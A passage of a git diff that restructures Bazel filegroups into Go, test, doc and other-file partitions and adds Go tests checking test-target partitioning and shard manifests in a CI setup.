missing/stale/duplicate names fails go test ./scripts/... -// (//scripts:scripts_test under Bazel) instead of only -// surfacing as a test silently never running in any shard. The legacy -// 15-shard block is deliberately excluded: its header documents that it is -// frozen and must not be regenerated (see -// .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a -// --check against it would always fail by design. -func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) - } -} - // walkBazelFiles visits every BUILD.bazel and BUILD file under root (and, // with bzl, every .bzl file), skipping .git, node_modules and .beads. A // symlink to a regular file is visited: under `bazel test` on a local @@ -929,7 +735,9 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // Committed rc files: only .bazelrc. .bazelrc.local and user.bazelrc are // developer-local (gitignored) and would be try-imported into CI runs. - for _, f := range repoFiles(t, root) { + // Under Bazel the listing is //:repo_other_files, every tracked file but + // Go and Markdown source (no rc file is either): several hundred files. + for _, f := range repoFiles(t, root, 300) { base := filepath.Base(f) if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) @@ -1098,7 +906,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // selection is the point (a required-suite contract that checks it), and // nothing leaves the lanes. Pinned to exactly these args. extraRunVariants := map[string][]string{ - // The doc-freshness suite (also run by //scripts:scripts_test) under + // The doc-freshness suite (also run by //scripts:shell_scripts_test) under // -required-suite, as pr.yml's former Linux doc-freshness leg ran it. "//scripts:doc_freshness_required_test": { "-test.count=1", diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel index e1fd0fd90..c36ad8c02 100644 --- a/scripts/prlintmake/BUILD.bazel +++ b/scripts/prlintmake/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index d907c8f9a..80b269077 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -11,8 +11,6 @@ import ( "testing" ) -const doltSQLServerImage = "dolthub/dolt-sql-server:2.2.0" - func TestPullDoltImageRetriesTransientFailures(t *testing.T) { tests := []struct { name string @@ -52,34 +50,6 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } } -func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { - // No workflow pulls the image: every Dolt suite runs on hermetic dolt - // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since - // pr-risk.yml's container-backed legacy tiers were retired - // (ga-96smfk.22). The helper stays for local container-backed runs. - wantCalls := map[string]int{} - - workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") - workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) - if err != nil { - t.Fatal(err) - } - for _, path := range workflowPaths { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - text := string(data) - name := filepath.Base(path) - if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { - t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) - } - if strings.Contains(text, "docker pull "+doltSQLServerImage) { - t.Errorf("%s still pulls the Dolt image without retries", name) - } - } -} - func TestPullDoltImageHelperIsExecutable(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Windows does not preserve Unix executable bits") diff --git a/scripts/repo_helpers_test.go b/scripts/repo_helpers_test.go index c44695897..f01b8abdf 100644 --- a/scripts/repo_helpers_test.go +++ b/scripts/repo_helpers_test.go @@ -1,11 +1,15 @@ package scripts_test -// Helpers shared by the package's test files, kept apart so a focused -// go_test over a few of them (//scripts:doc_freshness_required_test) compiles -// without the rest of the package. +// Helpers shared by the package's test files, kept apart so that each go_test +// in scripts/BUILD.bazel compiles only the files whose tests it runs (and so +// declares only the data those tests read). Helpers only: every target +// compiles this file, so a test here would run in all of them. import ( "errors" + "go/ast" + "go/token" + "os" "os/exec" "path/filepath" "runtime" @@ -22,7 +26,7 @@ func sourceRepoRoot(t *testing.T) string { t.Fatal("runtime.Caller failed") } // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it - // under the runfiles root, which holds the files scripts_test declares. + // under the runfiles root, which holds the files the go_test declares. return filepath.Dir(bazeltest.CallerDir(file, "scripts")) } @@ -45,3 +49,142 @@ func exitCode(err error) int { } return -1 } + +// bazelPolicyRoot returns the repository root holding the Bazel policy files. +// Under `bazel test` those files are declared as data (//:bazel_policy_files) +// and resolved from the runfiles tree; under `go test` the source checkout is +// used directly. +func bazelPolicyRoot(t *testing.T) string { + t.Helper() + if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { + workspace := os.Getenv("TEST_WORKSPACE") + if workspace == "" { + workspace = "_main" + } + return filepath.Join(srcdir, workspace) + } + return sourceRepoRoot(t) +} + +func readPolicyFile(t *testing.T, root, name string) string { + t.Helper() + data, err := os.ReadFile(filepath.Join(root, name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + return string(data) +} + +const ( + forkCacheEndpoint = "grpc" + "s://rbe-cache.ops.gascity.com:8443" + forkCacheInstance = "oss" + // zstd cache transfers: only the anonymous fork cache can advertise a + // compressor, so only fork-cache may ask for one, and only while + // write-bazelrc.sh's cache-zstd-probe.sh finds it advertised (a probe, + // not a repository variable: fork pull_request runs see no vars). + // Trusted remote-exec and rbe-fork never: their schedulers advertise + // none, and Bazel then refuses the remote. + forkCacheZstdLine = "build:fork-cache --remote_cache_compression" +) + +func gitRepoAvailable(root string) bool { + if _, err := exec.LookPath("git"); err != nil { + return false + } + return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil +} + +// repoFiles lists the repository's tracked files under root, repo-relative and +// slash-separated, each a regular file (or, in a local runfiles tree, a +// symlink to one). Under `go test` in a git checkout that is `git ls-files` +// less what the working tree no longer holds; under Bazel it is the runfiles +// tree, whose repository part is what the go_test declares: //:repo_files +// (every tracked file outside .bazelignore, tools/bazel/go_srcs.py) or one of +// its partitions; elsewhere every file under root. A listing of fewer than +// minFiles files fails the test: an empty or partial tree would pass every +// scan. +func repoFiles(t *testing.T, root string, minFiles int) []string { + t.Helper() + var files []string + if bazeltest.IsBazel() || !gitRepoAvailable(root) { + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() || !isFileOrFileLink(path, d) { + return nil + } + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + files = append(files, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + } else { + out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() + if err != nil { + t.Fatalf("git ls-files: %v", err) + } + for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil || !info.Mode().IsRegular() { + continue // deleted in the worktree, submodule, or symlink + } + files = append(files, rel) + } + } + if len(files) < minFiles { + t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) + } + return files +} + +// isFileOrFileLink reports whether a WalkDir entry is a regular file or a +// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk +// that skipped symlinks would see no file there; a symlink to a directory +// (Bazel's bazel-* convenience links in a checkout) is never followed. +func isFileOrFileLink(path string, d os.DirEntry) bool { + if d.Type().IsRegular() { + return true + } + if d.Type()&os.ModeSymlink == 0 { + return false + } + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() +} + +// bazelRuleBlock returns the text of the top-level rule named name in a +// BUILD file, or "" if there is none. +func bazelRuleBlock(build, name string) string { + i := strings.Index(build, "\n name = \""+name+"\",\n") + if i < 0 { + return "" + } + start := strings.LastIndex(build[:i], "\n") + 1 + end := strings.Index(build[i:], "\n)\n") + if end < 0 { + return build[start:] + } + return build[start : i+end+3] +} + +func exits(body *ast.BlockStmt) bool { + for _, st := range body.List { + switch st := st.(type) { + case *ast.ReturnStmt: + return true + case *ast.BranchStmt: + if st.Tok == token.CONTINUE { + return true + } + } + } + return false +} + +const doltSQLServerImage = "dolthub/dolt-sql-server:2.2.0" diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel index bc588c140..7940a4538 100644 --- a/scripts/repochecks/BUILD.bazel +++ b/scripts/repochecks/BUILD.bazel @@ -12,6 +12,12 @@ load("//tools/bazel:repo_subset.bzl", "repo_subset") # tools/bazel/check_testcases.py's Go testcase count (--not-go # //scripts/repochecks:all in bazel.yml's integration lane). # +# Each slice selects from the narrowest partition of the checkout that holds +# its files (tools/bazel/go_srcs.py: //:repo_go_srcs, //:repo_go_test_srcs, +# //:repo_doc_files, //:repo_other_files), so the guards that read no Go or +# no Markdown are not reverse dependencies of a Go-only or docs-only change. +# Only the guards that read every kind of file select from //:repo_files. +# # What each slice holds must cover what its guard reads: a renamed input fails # the build (repo_subset rejects a pattern that matches nothing), and a guard # over a slice missing a file it names fails rather than passing (e.g. @@ -21,7 +27,12 @@ load("//tools/bazel:repo_subset.bzl", "repo_subset") # checkout layout and --env (testdata/assert_tree.sh says what it expects). repo_subset( name = "run_check_fixture", - srcs = ["//:repo_files"], + srcs = [ + # This package's own files, its Markdown too: testdata/skip.md must + # be there to be left out. + ":repo_doc_files", + ":repo_other_files", + ], include = [ "scripts/repochecks/testdata/*.txt", "scripts/repochecks/testdata/assert_tree.sh", @@ -53,7 +64,7 @@ sh_test( # pathspecs, as a slice. repo_subset( name = "build_tags_files", - srcs = ["//:repo_files"], + srcs = ["//:repo_other_files"], include = [ "**/*.sh", ".bazelrc", @@ -78,7 +89,7 @@ sh_test( repo_subset( name = "workflow_files", - srcs = ["//:repo_files"], + srcs = ["//:repo_other_files"], include = [".github/workflows/*.yml"], ) @@ -134,7 +145,10 @@ sh_test( repo_subset( name = "winget_files", - srcs = ["//:repo_files"], + srcs = [ + "//:winget_manifests", + "//scripts:repo_other_files", + ], include = [ "scripts/check-winget-portable-alias.sh", "winget/*.installer.yaml", @@ -143,7 +157,7 @@ repo_subset( # check-winget-portable-alias.sh: every nested-portable winget installer # carries PortableCommandAlias: bd (GH#4908). yq comes from the executor, as -# for //scripts:scripts_test. +# for //scripts:shell_scripts_test. sh_test( name = "winget_portable_alias_test", srcs = ["run_check.sh"], @@ -158,7 +172,10 @@ sh_test( repo_subset( name = "migration_files", - srcs = ["//:repo_files"], + srcs = [ + "//internal/storage/schema:repo_other_files", + "//scripts:repo_other_files", + ], include = [ "internal/storage/schema/migrations/**", "scripts/check-migration-hygiene.sh", @@ -183,7 +200,11 @@ sh_test( repo_subset( name = "go_files", - srcs = ["//:repo_files"], + srcs = [ + "//:repo_go_srcs", + "//:repo_go_test_srcs", + "//scripts:repo_other_files", + ], include = [ "**/*.go", "scripts/ci/fmt-check.sh", @@ -284,7 +305,12 @@ sh_test( repo_subset( name = "workapi_files", - srcs = ["//:repo_files"], + srcs = [ + # The guard greps internal/workapi's .go files only. + "//:repo_go_srcs", + "//:repo_go_test_srcs", + "//scripts:repo_other_files", + ], include = [ "internal/workapi/**", "scripts/check-workapi-frontend-boundary.sh", @@ -332,12 +358,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -346,7 +411,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/repro-dolt-hang/BUILD.bazel b/scripts/repro-dolt-hang/BUILD.bazel index 9c219dbf9..7280ecc0a 100644 --- a/scripts/repro-dolt-hang/BUILD.bazel +++ b/scripts/repro-dolt-hang/BUILD.bazel @@ -20,12 +20,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -34,7 +73,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/repro-dolt-prod-timeouts/BUILD.bazel b/scripts/repro-dolt-prod-timeouts/BUILD.bazel index ee97e8e8f..7a807129c 100644 --- a/scripts/repro-dolt-prod-timeouts/BUILD.bazel +++ b/scripts/repro-dolt-prod-timeouts/BUILD.bazel @@ -36,12 +36,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -50,7 +89,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/scripts_targets_test.go b/scripts/scripts_targets_test.go new file mode 100644 index 000000000..a35fe17ff --- /dev/null +++ b/scripts/scripts_targets_test.go @@ -0,0 +1,105 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" +) + +// This package's tests are split over several go_test targets in +// scripts/BUILD.bazel, each compiling the files whose tests it runs and +// declaring only the data they read. Their srcs are kept by hand (gazelle +// would put every file back into scripts_test), so nothing else notices a new +// _test.go file in no target (its tests would never run under Bazel) or a file +// in two (its tests would run twice, one copy without the data it reads). + +var ( + scriptsGoTestRuleRe = regexp.MustCompile(`(?ms)^go_test\(\n(.*?)^\)$`) + scriptsRuleNameRe = regexp.MustCompile(`(?m)^ name = "([^"]+)",$`) + scriptsRuleSrcsRe = regexp.MustCompile(`(?ms)^ srcs = \[(.*?)\],`) + scriptsQuotedRe = regexp.MustCompile(`"([^"]+)"`) + scriptsTestFuncRe = regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`) +) + +// scriptsTargetProblems checks build's go_test targets against tests, each +// _test.go file's top-level Test functions. A target whose args hold +// -required-suite is a second, selective run over tests another target runs +// in full (TestBazelRetiredLanesCannotBeNarrowed pins those) and is ignored. +func scriptsTargetProblems(build string, tests map[string][]string) []string { + var problems []string + owners := map[string][]string{} + for _, m := range scriptsGoTestRuleRe.FindAllStringSubmatch(build, -1) { + rule := m[1] + if strings.Contains(rule, "-required-suite") { + continue + } + name := scriptsRuleNameRe.FindStringSubmatch(rule) + srcs := scriptsRuleSrcsRe.FindStringSubmatch(rule) + if name == nil || srcs == nil { + problems = append(problems, "a go_test has no parsable name or srcs list:\n"+rule) + continue + } + for _, src := range scriptsQuotedRe.FindAllStringSubmatch(srcs[1], -1) { + if _, ok := tests[src[1]]; !ok { + problems = append(problems, name[1]+" lists "+src[1]+", which is not a _test.go file here") + continue + } + owners[src[1]] = append(owners[src[1]], name[1]) + } + } + files := make([]string, 0, len(tests)) + for f := range tests { + files = append(files, f) + } + sort.Strings(files) + for _, f := range files { + switch targets := owners[f]; { + case len(targets) == 0: + problems = append(problems, f+" is in no go_test: its tests never run under Bazel; add it to the target that declares what they read") + case len(targets) > 1 && len(tests[f]) > 0: + problems = append(problems, f+" defines tests ("+strings.Join(tests[f], ", ")+") and is in "+strings.Join(targets, " and ")+": they would run in each; move shared helpers to a helpers-only file") + } + } + return problems +} + +func TestScriptsTestTargetsPartitionTheTests(t *testing.T) { + fixture := "go_test(\n name = \"a_test\",\n srcs = [\n \"a_test.go\",\n \"helpers_test.go\",\n ],\n)\n\n" + + "go_test(\n name = \"b_test\",\n srcs = [\n \"a_test.go\",\n \"helpers_test.go\",\n ],\n)\n\n" + + "go_test(\n name = \"v_test\",\n srcs = [\"c_test.go\"],\n args = [\"-required-suite=x\"],\n)\n" + got := scriptsTargetProblems(fixture, map[string][]string{ + "a_test.go": {"TestA"}, + "c_test.go": {"TestC"}, + "helpers_test.go": nil, + }) + if len(got) != 2 || !strings.HasPrefix(got[0], "a_test.go defines tests (TestA) and is in a_test and b_test") || !strings.HasPrefix(got[1], "c_test.go is in no go_test") { + t.Errorf("fixture problems = %q; want a_test.go in two targets and c_test.go in none (helpers_test.go may be shared)", got) + } + + root := sourceRepoRoot(t) + paths, err := filepath.Glob(filepath.Join(root, "scripts", "*_test.go")) + if err != nil { + t.Fatal(err) + } + if len(paths) < 40 { + t.Fatalf("found only %d scripts/*_test.go files; the listing is broken", len(paths)) + } + tests := map[string][]string{} + for _, p := range paths { + data, err := os.ReadFile(p) + if err != nil { + t.Fatal(err) + } + var names []string + for _, m := range scriptsTestFuncRe.FindAllStringSubmatch(string(data), -1) { + names = append(names, m[1]) + } + tests[filepath.Base(p)] = names + } + for _, p := range scriptsTargetProblems(readPolicyFile(t, root, "scripts/BUILD.bazel"), tests) { + t.Errorf("scripts/BUILD.bazel: %s", p) + } +} diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go new file mode 100644 index 000000000..bbc953180 --- /dev/null +++ b/scripts/shard_manifest_test.go @@ -0,0 +1,251 @@ +package scripts_test + +// The shard manifests and shard scripts against the Go tests they shard: +// //scripts:go_test_sources_test, which reads the _test.go files of the +// sharded packages (and no non-test Go source), so an edit to a workflow file, +// a doc or a non-test Go file leaves it cached. + +import ( + "os" + "os/exec" + "path/filepath" + "regexp" + "sort" + "strconv" + "strings" + "sync" + "testing" +) + +// S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — +// see that test's doc comment for the full --check rationale, not repeated +// here): the Bazel-only 50-shard cmd block and 15-shard storage block are +// not frozen like their files' legacy 20- and 5-shard blocks. +// gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that +// the committed block names every discovered test exactly once, failing with +// the exact command to fix it when a name is missing, stale, or duplicated — +// run here so a drifted block fails `go test ./scripts/...` +// (//scripts:go_test_sources_test under Bazel) instead of only surfacing as +// a test silently never running in any shard. The legacy blocks are +// deliberately excluded: both files document that their 20- and 5-shard +// blocks are frozen (see .github/scripts/embedded-{cmd,storage}- +// test-shards.txt and engdocs/TESTING.md), so a --check against them is +// expected to report "missing" entries by design (see those generators' +// module docstrings) and is not what this test runs. +func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_embedded_cmd_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) + } +} + +// TestStorageEmbeddedShardManifestGeneratorNotStale mirrors +// TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's +// Bazel-only 15-shard block; see that test's doc comment. +func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) + } +} + +// Review G1: the checker's input is the real shard scripts' list-only +// output (every retired lane's: the embedded, proxied and server suites). Every name they list, for every shard, must be a test go test +// runs (declared `func Name(t *testing.T)` in the package's _test.go files), +// or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name +// must really not be a test (TestMain takes *testing.M). Otherwise the +// checker reports a listed test that "did not run" on every real run. +func TestShardScriptsListOnlyRealTests(t *testing.T) { + // The CI shard scripts use bash 4 associative arrays (Linux runners only). + requireAutofixBash(t) + root := sourceRepoRoot(t) + m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) + if m == nil { + t.Fatal("tools/bazel/check_shard_coverage.py has no NOT_TESTS = frozenset({...})") + } + notTests := map[string]bool{} + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { + notTests[q[1]] = true + } + for _, c := range []struct{ job, script, pkg string }{ + {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, + {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, + // D2 step 2: the proxied and server lanes' suites. + {"test-proxied-cmd", ".github/scripts/proxied-test-shard.sh", "cmd/bd"}, + {"test-server-storage-full", ".github/scripts/server-storage-test-shard.sh", "internal/storage/dolt"}, + } { + var src strings.Builder + files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) + if err != nil || len(files) == 0 { + t.Fatalf("%s: no _test.go files (%v)", c.pkg, err) + } + for _, f := range files { + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + src.Write(data) + src.WriteString("\n") + } + declared := map[string]bool{} + for _, d := range regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`).FindAllStringSubmatch(src.String(), -1) { + declared[d[1]] = true + } + + // B1: validate every total this script's committed manifest holds a + // block for, plus this job's own PR Risk matrix size and (for + // test-proxied-cmd) the Bazel lane's own shard_count — not just + // whichever total happens to equal this PR Risk job's matrix. Before + // F2 those always coincided; now the Bazel-only bazel-proxied lane + // reads a manifest block (30) that no PR-Risk-matrix-only check ever + // exercises, so a fork PR (which never runs bazel-proxied) could + // corrupt that block and still merge green. Looping over every + // distinct total in the manifest closes that gap for this script and + // any other script that later grows a second block the same way. + mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if mm == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + totalsSet := map[int]bool{} + for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { + line, _, _ = strings.Cut(line, "#") + fields := strings.Fields(line) + if len(fields) == 0 { + continue + } + if n, err := strconv.Atoi(fields[0]); err == nil { + totalsSet[n] = true + } + } + switch c.script { + case ".github/scripts/proxied-test-shard.sh": + totalsSet[bazelProxiedShardCount(t)] = true + case ".github/scripts/embedded-test-shard.sh": + // F1: the Bazel-only bazel-embedded lane reads a 50-shard cmd + // block that no PR-Risk-matrix-only (20-shard) check exercises; + // without this, "BUILD.bazel's shard_count and bazel.yml's + // check_shard_coverage.py arg both drift to a new total with no + // manifest block" passes every policy test (see review S3) -- + // the lane then silently goes 100% hash fallback and loses its + // duration balancing. + totalsSet[bazelEmbeddedCmdShardCount(t)] = true + case ".github/scripts/embedded-storage-test-shard.sh": + // F1: mirrors the cmd case above for the 15-shard storage block. + totalsSet[bazelEmbeddedStorageShardCount(t)] = true + case ".github/scripts/server-storage-test-shard.sh": + totalsSet[bazelServerFullShardCount(t)] = true + } + totals := make([]int, 0, len(totalsSet)) + for n := range totalsSet { + totals = append(totals, n) + } + sort.Ints(totals) + + for _, shards := range totals { + // The scripts' hash fallback forks per test (seconds per shard + // for the server suite): list the shards concurrently. + outs, errs := make([][]byte, shards+1), make([]error, shards+1) + var wg sync.WaitGroup + for k := 1; k <= shards; k++ { + wg.Add(1) + go func(k int) { + defer wg.Done() + cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) + cmd.Dir = root + cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") + outs[k], errs[k] = cmd.Output() + }(k) + } + wg.Wait() + listed, manifestSum := 0, 0 + for k := 1; k <= shards; k++ { + if errs[k] != nil { + // The script itself exits 1 on a duplicate manifest entry + // or a manifest entry that names no discovered test + // (rename/typo/stale-after-delete), for the requested + // total only: this is what catches a corrupted block + // that a PR-Risk-matrix-only check at a different total + // would never see. + t.Fatalf("%s %d %d: %v\n%s", c.script, k, shards, errs[k], outs[k]) + } + for _, line := range strings.Split(string(outs[k]), "\n") { + if mc := regexp.MustCompile(`^ manifest: (\d+), fallback: \d+$`).FindStringSubmatch(line); mc != nil { + n, _ := strconv.Atoi(mc[1]) + manifestSum += n + continue + } + name, ok := strings.CutPrefix(line, " ") + if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { + continue + } + listed++ + isTest := declared[name] + switch { + case notTests[name] && isTest: + t.Errorf("%s shard %d/%d lists %s, which check_shard_coverage.py drops, but it is a real test", c.script, k, shards, name) + case !notTests[name] && !isTest: + t.Errorf("%s shard %d/%d lists %s, which is not a `func %s(t *testing.T)` test in %s: check_shard_coverage.py would report it missing on every run (add it to NOT_TESTS only if go test never runs it)", + c.script, k, shards, name, name, c.pkg) + } + } + } + if listed < 50 { + t.Errorf("%s at %d shards listed only %d tests; did the list-only output format change?", c.script, shards, listed) + } + // S1: a total that is supposed to have a committed manifest + // block (every total this loop considers does: it is either a + // live job's matrix size or a total this script's own manifest + // already names) must not have silently gone 100% hash fallback, + // which is what "the whole block was deleted" looks like from + // here: check_shard_coverage.py would still pass (it rebuilds + // its expectation from this same script), so nothing else + // catches it. + if manifestSum == 0 { + t.Errorf("%s at %d shards: manifest entries for this total sum to 0 across all shards (100%% hash fallback); its committed block in %s may have been deleted", c.script, shards, mm[1]) + } + } + } + for name := range notTests { + if name != "TestMain" { + t.Errorf("NOT_TESTS has %s; only TestMain is never a test", name) + } + } +} + +// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard +// block (TestShardScriptsListOnlyRealTests's B1 fix catches outright +// corruption, but not a committed block that has drifted from the currently +// discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, +// renamed, or removed without anyone running --write). gen_proxied_shard_ +// manifest.py --check verifies only that the committed block names every +// discovered test exactly once -- not that its shard *assignments* match a +// fresh LPT pack -- and fails with the exact command to fix it when a name +// is missing, stale, or duplicated. It deliberately does NOT fail merely +// because proxied_test_durations.json's weights changed and the existing +// packing is now suboptimal: two PRs each adding one proxied test would +// otherwise force a full repack and conflict on unrelated shard lines (see +// --repack below for the explicit opt-in to that). Run --check here so a +// block with missing/stale/duplicate names fails go test ./scripts/... +// (//scripts:go_test_sources_test under Bazel) instead of only +// surfacing as a test silently never running in any shard. The legacy +// 15-shard block is deliberately excluded: its header documents that it is +// frozen and must not be regenerated (see +// .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a +// --check against it would always 